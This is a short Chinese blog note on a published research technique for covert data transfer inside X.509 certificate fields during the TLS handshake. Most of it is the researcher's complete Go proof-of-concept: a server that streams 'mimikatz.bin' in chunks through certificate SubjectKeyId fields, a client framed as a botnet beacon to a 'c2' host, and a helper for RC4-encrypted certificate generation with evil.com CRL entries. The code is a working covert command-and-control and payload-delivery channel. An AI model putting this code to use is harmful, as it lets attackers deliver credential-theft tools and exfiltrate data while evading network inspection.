title: 使用X.509公钥证书传递进行隐匿传输数据
date: 2018-02-11 17:47:50
tags:
---
使用X.509公钥证书传递进行隐匿传输数据
看到国外一篇有关于在ssl认证过程中,通过证书传递达到一个隐匿传输数据的过程
TLS X.509证书有很多可以存储字符串的字段,可参见这张图片[16]。

这些字段包括版本、序列号、颁发者名称、有效期等。在研究中描述的证书滥用,就是将传输的数据隐藏在这些字段中的一个。由于证书交换在TLS会话建立之前,因此好像没有进行数据传输,而实际上数据在证书交换过程中传输。
给出作者的一个POC
server.go
/* Server code for demonstrating transfering a file over x509 extension covert channel. Research paper over x509 covert channel: http://vixra.org/abs/1801.0016 Written by: Jason Reaves ver1 - 2Jan2018 MIT License Copyright (c) 2018 Jason Reaves Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package main import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "fmt" "io/ioutil" "log" "malcert_mimikatz_poc/helper" "net" ) type active_client struct { ip string index int } var currclient active_client func verifyHook(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error { cert, _ := x509.ParseCertificate(rawCerts[0]) data := cert.SubjectKeyId dec := helper.DecryptData(data) fmt.Println("Received from client: ", dec) return nil } var bsize = 10000 func main() { priv, _ := rsa.GenerateKey(rand.Reader, 4096) ca, pv := helper.GenCert("EICAR", []byte{}, []string{"http://evil.com/ca1.crl", "http://evil2.com/ca2.crl"}, priv) fdata, _ := ioutil.ReadFile("mimikatz.bin") sz := len(fdata) iterations := sz / bsize fmt.Println("Iterations until done: ", iterations) for { cert, err := tls.X509KeyPair(ca, pv) if err != nil { log.Fatalf("server: loadkeys: %s", err) } config := tls.Config{Certificates: []tls.Certificate{cert}} config.InsecureSkipVerify = true config.VerifyPeerCertificate = verifyHook config.ClientAuth = tls.RequireAnyClientCert config.Rand = rand.Reader service := "0.0.0.0:4433" listener, err := tls.Listen("tcp", service, &config) if err != nil { log.Fatalf("server: listen: %s", err) } //log.Print("server: listening") conn, err := listener.Accept() if err != nil { log.Printf("server: accept: %s", err) break } defer conn.Close() if currclient.ip == "" { currclient.ip = conn.RemoteAddr().String() currclient.index = 0 } else { blob := []byte("DONE") if currclient.index < iterations { blob = fdata[currclient.index*bsize : (currclient.index+1)*bsize] } else if currclient.index == iterations { blob = fdata[currclient.index*bsize : sz] } else { currclient.index = 0 currclient.ip = "" } currclient.index += 1 ca, pv = helper.GenCertWithFile("EICAR", blob, priv) } log.Printf("server: accepted from %s", conn.RemoteAddr()) tlscon, ok := conn.(*tls.Conn) if ok { log.Print("ok=true") state := tlscon.ConnectionState() log.Print(state.PeerCertificates) for _, v := range state.PeerCertificates { log.Print(x509.MarshalPKIXPublicKey(v.PublicKey)) } } go handleClient(conn) listener.Close() } } func handleClient(conn net.Conn) { defer conn.Close() buf := make([]byte, 512) for { log.Print("server: conn: waiting") n, err := conn.Read(buf) if err != nil { if err != nil { log.Printf("server: conn: read: %s", err) } break } log.Printf("server: conn: echo %q\n", string(buf[:n])) n, err = conn.Write(buf[:n]) n, err = conn.Write(buf[:n]) log.Printf("server: conn: wrote %d bytes", n) if err != nil { log.Printf("server: write: %s", err) break } } log.Println("server: conn: closed") }
client.go
/* Client code for demonstrating transfering a file over x509 extension covert channel. Research paper over x509 covert channel: http://vixra.org/abs/1801.0016 Written by: Jason Reaves ver1 - 2Jan2018 MIT License Copyright (c) 2018 Jason Reaves Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package main import ( "crypto/md5" "crypto/rand" "crypto/rsa" "crypto/tls" //"crypto/x509" "bytes" "fmt" "log" "malcert_mimikatz_poc/helper" "time" ) type settings struct { c2 string port string botnet string priv *rsa.PrivateKey } func SendData(settings settings, data string) { //We can load cert data from files as well //cert, err := tls.LoadX509KeyPair("certs/client.pem", "certs/client.key") ca, pv := helper.GenCertWithString(settings.botnet, data, settings.priv) c2 := settings.c2 + ":" + settings.port cert, err := tls.X509KeyPair(ca, pv) if err != nil { log.Fatalf("server: loadkeys: %s", err) } config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true} fdata := []byte{} for { conn, err := tls.Dial("tcp", c2, &config) if err != nil { log.Fatalf("client: dial: %s", err) } log.Println("client: connected to: ", conn.RemoteAddr()) state := conn.ConnectionState() rdata := []byte{} for _, v := range state.PeerCertificates { rdata = v.SubjectKeyId if bytes.Compare(rdata, []byte("DONE")) == 0 { break } fdata = append(fdata, v.SubjectKeyId...) //fmt.Println("Tasks: ", v.CRLDistributionPoints) } if bytes.Compare(rdata, []byte("DONE")) == 0 { log.Println("End of data reached") break } conn.Close() fmt.Println("Total Received: ", len(fdata)) time.Sleep(1) } fmt.Println("Data received: ", len(fdata)) fmt.Printf("Md5: %x", md5.Sum(fdata)) log.Print("client: exiting") } func main() { priv, _ := rsa.GenerateKey(rand.Reader, 4096) c2_settings := settings{"127.0.0.1", "4433", "EICAR", priv} SendData(c2_settings, "Im Alive") }
helper.go
/* Helper code for demonstrating transfering a file over x509 extension covert channel. Research paper over x509 covert channel: http://vixra.org/abs/1801.0016 Written by: Jason Reaves ver1 - 2Jan2018 MIT License Copyright (c) 2018 Jason Reaves Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package helper import ( "crypto/rand" "crypto/rc4" "crypto/rsa" // "crypto/tls" "crypto/x509" "crypto/x509/pkix" //"encoding/asn1" //"encoding/hex" "encoding/pem" //"fmt" //"io/ioutil" "log" "math/big" "time" ) func encryptData(data string) []byte { key := make([]byte, 2) _, err := rand.Read(key) if err != nil { log.Println("Random data creation error: ", err) } c, err := rc4.NewCipher(key) enc := make([]byte, len(data)) c.XORKeyStream(enc, []byte(data)) //return hex.EncodeToString(enc) return append(key, enc...) } func DecryptData(data []byte) string { key := data[:2] c, err := rc4.NewCipher(key) if err != nil { log.Println("RC4 error: ", err) } dec := make([]byte, len(data[2:])) c.XORKeyStream(dec, data[2:]) return string(dec[:]) } //func GenCertPriv(cn string, data string, crl []string) (*rsa.PrivateKey, []byte, []byte) { // priv, _ := rsa.GenerateKey(rand.Reader, 4096) // c, p := GenCert(cn, data, crl, priv) // return priv, c, p //} func GenCertWithFile(cn string, fdata []byte, priv *rsa.PrivateKey) ([]byte, []byte) { return GenCert(cn, fdata, []string{}, priv) } func GenCertWithString(cn string, data string, priv *rsa.PrivateKey) ([]byte, []byte) { encData := encryptData(data) return GenCert(cn, encData, []string{}, priv) } func GenCert(cn string, data []byte, crl []string, priv *rsa.PrivateKey) ([]byte, []byte) { //extSubKeyId := pkix.Extension{} //extSubKeyId.Id = asn1.ObjectIdentifier{2, 5, 29, 14} //extSubKeyId.Critical = true //extSubKeyId.Value = []byte(`d99962b39e`) ca := &x509.Certificate{ SerialNumber: big.NewInt(1337), Subject: pkix.Name{ Country: []string{"Neuland"}, Organization: []string{"Example Org"}, OrganizationalUnit: []string{"Auto"}, CommonName: cn, }, Issuer: pkix.Name{ Country: []string{"Neuland"}, Organization: []string{"Skynet"}, OrganizationalUnit: []string{"Computer Emergency Response Team"}, Locality: []string{"Neuland"}, Province: []string{"Neuland"}, StreetAddress: []string{"Mainstreet 23"}, PostalCode: []string{"12345"}, SerialNumber: "23", CommonName: cn, }, SignatureAlgorithm: x509.SHA512WithRSA, PublicKeyAlgorithm: x509.ECDSA, NotBefore: time.Now(), NotAfter: time.Now().AddDate(0, 0, 10), //SubjectKeyId: encData, BasicConstraintsValid: true, IsCA: true, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth}, KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, //ExtraExtensions: []pkix.Extension{extSubKeyId}, } if len(data) > 0 { //encData := encryptData(data) //ca.SubjectKeyId = encData ca.SubjectKeyId = data } if len(crl) > 0 { ca.CRLDistributionPoints = crl } //priv, _ := rsa.GenerateKey(rand.Reader, 4096) privPem := pem.EncodeToMemory(&pem.Block{ Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv), }) pub := &priv.PublicKey ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv) if err != nil { log.Fatalf("create cert failed %#v", err) panic("Cert Creation Error") } certPem := pem.EncodeToMemory(&pem.Block{ Type: "CERTIFICATE", Bytes: ca_b, }) return certPem, privPem }
这里主要做个笔记记录一下,原文在这里